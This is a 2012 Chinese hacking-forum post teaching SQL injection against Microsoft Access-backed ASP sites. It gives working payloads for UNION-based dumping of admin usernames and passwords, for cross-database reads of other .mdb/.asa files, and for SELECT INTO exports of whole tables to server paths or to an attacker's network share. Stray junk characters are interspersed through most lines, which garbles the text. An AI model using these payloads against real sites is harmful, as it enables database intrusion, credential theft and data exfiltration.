找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2507|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------
# ^5 R, m/ `, \/ c+ L. W! C6 bunion查询法
! x# R( l0 C2 F8 U" e) ^% q+ G首先要说的就是查询办法,一般的查询办法就是' n$ l, P5 c" @
3 n2 k9 ~; l; _
程序代码; N" K- t& ?" c, A" |/ z: n; H
and 1=(select count(*) from admin where left(id,1)='1')
2 v$ W. [! {/ N9 h/ X6 E% n1 L5 p7 d
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.; ^# g. N0 H( N2 r$ I% A7 Q
所以这个时候,union select横空出现.别以为只能在PHP里用哦...
4 g7 h  n4 X' K! S; N) ?! |, b譬如你有一个ACCESS点:
7 `. Y: F; r: y, n& @程序代码3 E7 m% Q% A; L, x
http://bbs.tian6.com/xiaoyang.asp?coder=1. F( v  W+ i! _

% s! u1 h5 \) v$ `: j知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
& y7 x% \' b7 b8 N8 [0 o: E+ P8 `然后我们直接来:
# M6 Q! t1 ?0 C$ A" Z程序代码" ]; q! E& J3 Z5 g
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
3 t4 l$ A$ w3 X. c4 I/ j& I$ ?
0 k, G3 |  C: {5 t# ]& y这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
+ a# e. Z- A% N) p* V3 X& b# u$ w. b
5 b! q, b/ Q) b
& u6 V+ t0 g# X9 i* {: x! Q& K# E/ B7 Z' k
---------------------------------------------------------------( e2 p9 {5 y: G. v7 P6 g4 P
Access跨库查询
3 W* X. D. ^* C有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.  K* J+ g9 F8 J; k5 v  A! s
跨库的查询语句:; J. c; _0 R) R/ F7 P* Q7 U2 J4 W
子查询:
: k* o9 \8 E+ e$ H5 A) d  X+ r程序代码
4 i% O* y: c& fand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>01 {$ T4 S9 i" _" z

4 _7 H$ Y" M! |% ]+ h' Hunion查询:
0 H% b, D' S" Q: Q) h, Q- o程序代码
: h9 H. j, O; V8 i. a- i% f6 D+ iunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1" A6 z& z0 m1 n& w5 X/ r

6 n8 o. E- p2 X8 K1 C, t# A跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
0 J6 @* I" q% S程序代码! k/ H5 v7 Y4 I0 E& f" B
http://www.4ngel.net/article/46.htm 9 Y. O7 M  E. o& K
http://hf110.com/Article/hack/rqsl/200502/66.html
4 q* k7 P+ r+ m8 x, @) g
' D  v8 P) L) Z' e* [" ~---------------------------------------------------------------- ]0 A$ j' K# ~1 ~9 v% \
Access注入,导出txt,htm,html
2 O2 F# r6 }& d/ {* m! @子查询语句:
& Q5 o2 \4 S8 {( x2 b# h程序代码2 G3 c: N" b. p5 y5 m& M" B( v
Select * into [test.txt] in 'd:\web\' 'text;' from admin& ^; n; l7 K# ~- S

3 d" Z& A2 p' e. ]' [$ n2 {这样就把admin表的内容以test类型存进了d:\web里面.
9 w7 J1 b/ G+ `: B$ d" VUNION查询:
$ R" G$ u; A1 R# Z- v# M; x程序代码
! ]& z- B/ l3 P% V# J2 G# ]! Hunion select * into [admin.txt] in 'c:\' 'test;' from admin2 A4 k$ ]0 q; ]  g( D$ V

, }1 \7 n2 Z0 T6 z5 _) @而且这里也可以保存到本地来:
, I5 y7 p. Q. g4 m# K% d6 Q" L程序代码
5 L4 H  W: n+ l# ySelect * into [test.txt] in '\\yourip\share' 'text;' from admin
) q& \4 K8 [' |5 ^7 [$ g5 N
8 N2 ~8 U: j& f) T& @" c- X不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:7 p- x3 ^6 L. T$ v* n( b
, D+ Y/ `! F" D
程序代码% N& z7 @5 y' a# I. D/ Z) a
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7% W. k$ S& A" R8 u8 h6 g9 p
  E+ U# E/ O  Q: f, E$ \. r3 T
因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.. H6 z4 B- G# [! o$ X) F# U6 A- S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表